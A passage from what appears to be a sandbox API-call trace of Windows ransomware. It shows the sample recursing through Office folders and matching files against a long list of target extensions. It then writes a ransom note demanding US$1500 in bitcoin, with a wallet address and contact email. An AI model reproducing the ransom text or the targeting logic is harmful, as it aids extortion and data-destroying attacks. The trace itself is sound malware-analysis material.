pszSpec="*.msg") returned 0 [0065.510] lstrlenA (lpString="*.msg") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.edb") returned 0 [0065.510] lstrlenA (lpString="*.edb") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.accdb") returned 0 [0065.511] lstrlenA (lpString="*.accdb") returned 7 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.odb") returned 0 [0065.511] lstrlenA (lpString="*.odb") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.java") returned 0 [0065.511] lstrlenA (lpString="*.java") returned 6 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.asm") returned 0 [0065.511] lstrlenA (lpString="*.asm") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.pfx") returned 0 [0065.511] lstrlenA (lpString="*.pfx") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.pem") returned 0 [0065.511] lstrlenA (lpString="*.pem") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.p12") returned 0 [0065.511] lstrlenA (lpString="*.p12") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.gpg") returned 0 [0065.511] lstrlenA (lpString="*.gpg") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.vsd") returned 0 [0065.511] lstrlenA (lpString="*.vsd") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.odg") returned 0 [0065.511] lstrlenA (lpString="*.odg") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.raw") returned 0 [0065.511] lstrlenA (lpString="*.raw") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.nef") returned 0 [0065.511] lstrlenA (lpString="*.nef") returned 5 [0065.511] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.svg") returned 0 [0065.512] lstrlenA (lpString="*.svg") returned 5 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.psd") returned 0 [0065.512] lstrlenA (lpString="*.psd") returned 5 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.vmx") returned 0 [0065.512] lstrlenA (lpString="*.vmx") returned 5 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.vmdk") returned 0 [0065.512] lstrlenA (lpString="*.vmdk") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.vdi") returned 0 [0065.512] lstrlenA (lpString="*.vdi") returned 5 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.lay6") returned 0 [0065.512] lstrlenA (lpString="*.lay6") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mpeg") returned 0 [0065.512] lstrlenA (lpString="*.mpeg") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.djvu") returned 0 [0065.512] lstrlenA (lpString="*.djvu") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.tiff") returned 0 [0065.512] lstrlenA (lpString="*.tiff") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.backup") returned 0 [0065.512] lstrlenA (lpString="*.backup") returned 8 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.pdf") returned 0 [0065.512] lstrlenA (lpString="*.pdf") returned 5 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.cert") returned 0 [0065.512] lstrlenA (lpString="*.cert") returned 6 [0065.512] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.docm") returned 0 [0065.512] lstrlenA (lpString="*.docm") returned 6 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.xlsm") returned 0 [0065.513] lstrlenA (lpString="*.xlsm") returned 6 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.dwg") returned 0 [0065.513] lstrlenA (lpString="*.dwg") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.nd") returned 0 [0065.513] lstrlenA (lpString="*.nd") returned 4 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.tlg") returned 0 [0065.513] lstrlenA (lpString="*.tlg") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.lgb") returned 0 [0065.513] lstrlenA (lpString="*.lgb") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mov") returned 0 [0065.513] lstrlenA (lpString="*.mov") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.xdw") returned 0 [0065.513] lstrlenA (lpString="*.xdw") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.ods") returned 0 [0065.513] lstrlenA (lpString="*.ods") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.wav") returned 0 [0065.513] lstrlenA (lpString="*.wav") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mp3") returned 0 [0065.513] lstrlenA (lpString="*.mp3") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.aiff") returned 0 [0065.513] lstrlenA (lpString="*.aiff") returned 6 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.flac") returned 0 [0065.513] lstrlenA (lpString="*.flac") returned 6 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.m4a") returned 0 [0065.513] lstrlenA (lpString="*.m4a") returned 5 [0065.513] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.csv") returned 0 [0065.513] lstrlenA (lpString="*.csv") returned 5 [0065.513] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 0 [0065.513] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0065.514] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Fancy", cAlternateFileName="")) returned 1 [0065.514] lstrcmpA (lpString1=".", lpString2="Fancy") returned -1 [0065.514] lstrcmpA (lpString1="..", lpString2="Fancy") returned -1 [0065.514] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*.*") returned="*.*" [0065.514] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\", lpString2="Fancy" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" [0065.514] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy") returned 128 [0065.514] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0065.517] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.517] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.517] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.517] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.517] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Hierarchy.js", cAlternateFileName="HIERAR~1.JS")) returned 1 [0065.517] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.517] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hierarchy.js") returned -1 [0065.517] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hierarchy.js") returned 1 [0065.517] lstrcmpiA (lpString1="", lpString2="Hierarchy.js") returned -1 [0065.517] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*.*") returned="*.*" [0065.517] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" [0065.517] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="" [0065.517] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" [0065.517] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt")) returned 0xffffffff [0065.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0065.518] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0065.518] WriteFile (in: hFile=0xa4, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0065.520] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.520] CloseHandle (hObject=0xa4) returned 1 [0065.520] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="Hierarchy.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.ems") returned 0 [0065.520] lstrlenA (lpString="*.ems") returned 5 [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.db") returned 0 [0065.520] lstrlenA (lpString="*.db") returned 4 [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.dbf") returned 0 [0065.520] lstrlenA (lpString="*.dbf") returned 5 [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.myox") returned 0 [0065.520] lstrlenA (lpString="*.myox") returned 6 [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.myo") returned 0 [0065.520] lstrlenA (lpString="*.myo") returned 5 [0065.520] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbw") returned 0 [0065.520] lstrlenA (lpString="*.qbw") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbb") returned 0 [0065.521] lstrlenA (lpString="*.qbb") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbm") returned 0 [0065.521] lstrlenA (lpString="*.qbm") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbo") returned 0 [0065.521] lstrlenA (lpString="*.qbo") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbx") returned 0 [0065.521] lstrlenA (lpString="*.qbx") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qba") returned 0 [0065.521] lstrlenA (lpString="*.qba") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qby") returned 0 [0065.521] lstrlenA (lpString="*.qby") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qbj") returned 0 [0065.521] lstrlenA (lpString="*.qbj") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.ofx") returned 0 [0065.521] lstrlenA (lpString="*.ofx") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.qif") returned 0 [0065.521] lstrlenA (lpString="*.qif") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.mye") returned 0 [0065.521] lstrlenA (lpString="*.mye") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.mbox") returned 0 [0065.521] lstrlenA (lpString="*.mbox") returned 6 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.eml") returned 0 [0065.521] lstrlenA (lpString="*.eml") returned 5 [0065.521] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.pst") returned 0 [0065.522] lstrlenA (lpString="*.pst") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.ost") returned 0 [0065.522] lstrlenA (lpString="*.ost") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.idx") returned 0 [0065.522] lstrlenA (lpString="*.idx") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.dbx") returned 0 [0065.522] lstrlenA (lpString="*.dbx") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.sql") returned 0 [0065.522] lstrlenA (lpString="*.sql") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.mdb") returned 0 [0065.522] lstrlenA (lpString="*.mdb") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.fdb") returned 0 [0065.522] lstrlenA (lpString="*.fdb") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.wab") returned 0 [0065.522] lstrlenA (lpString="*.wab") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.dat") returned 0 [0065.522] lstrlenA (lpString="*.dat") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 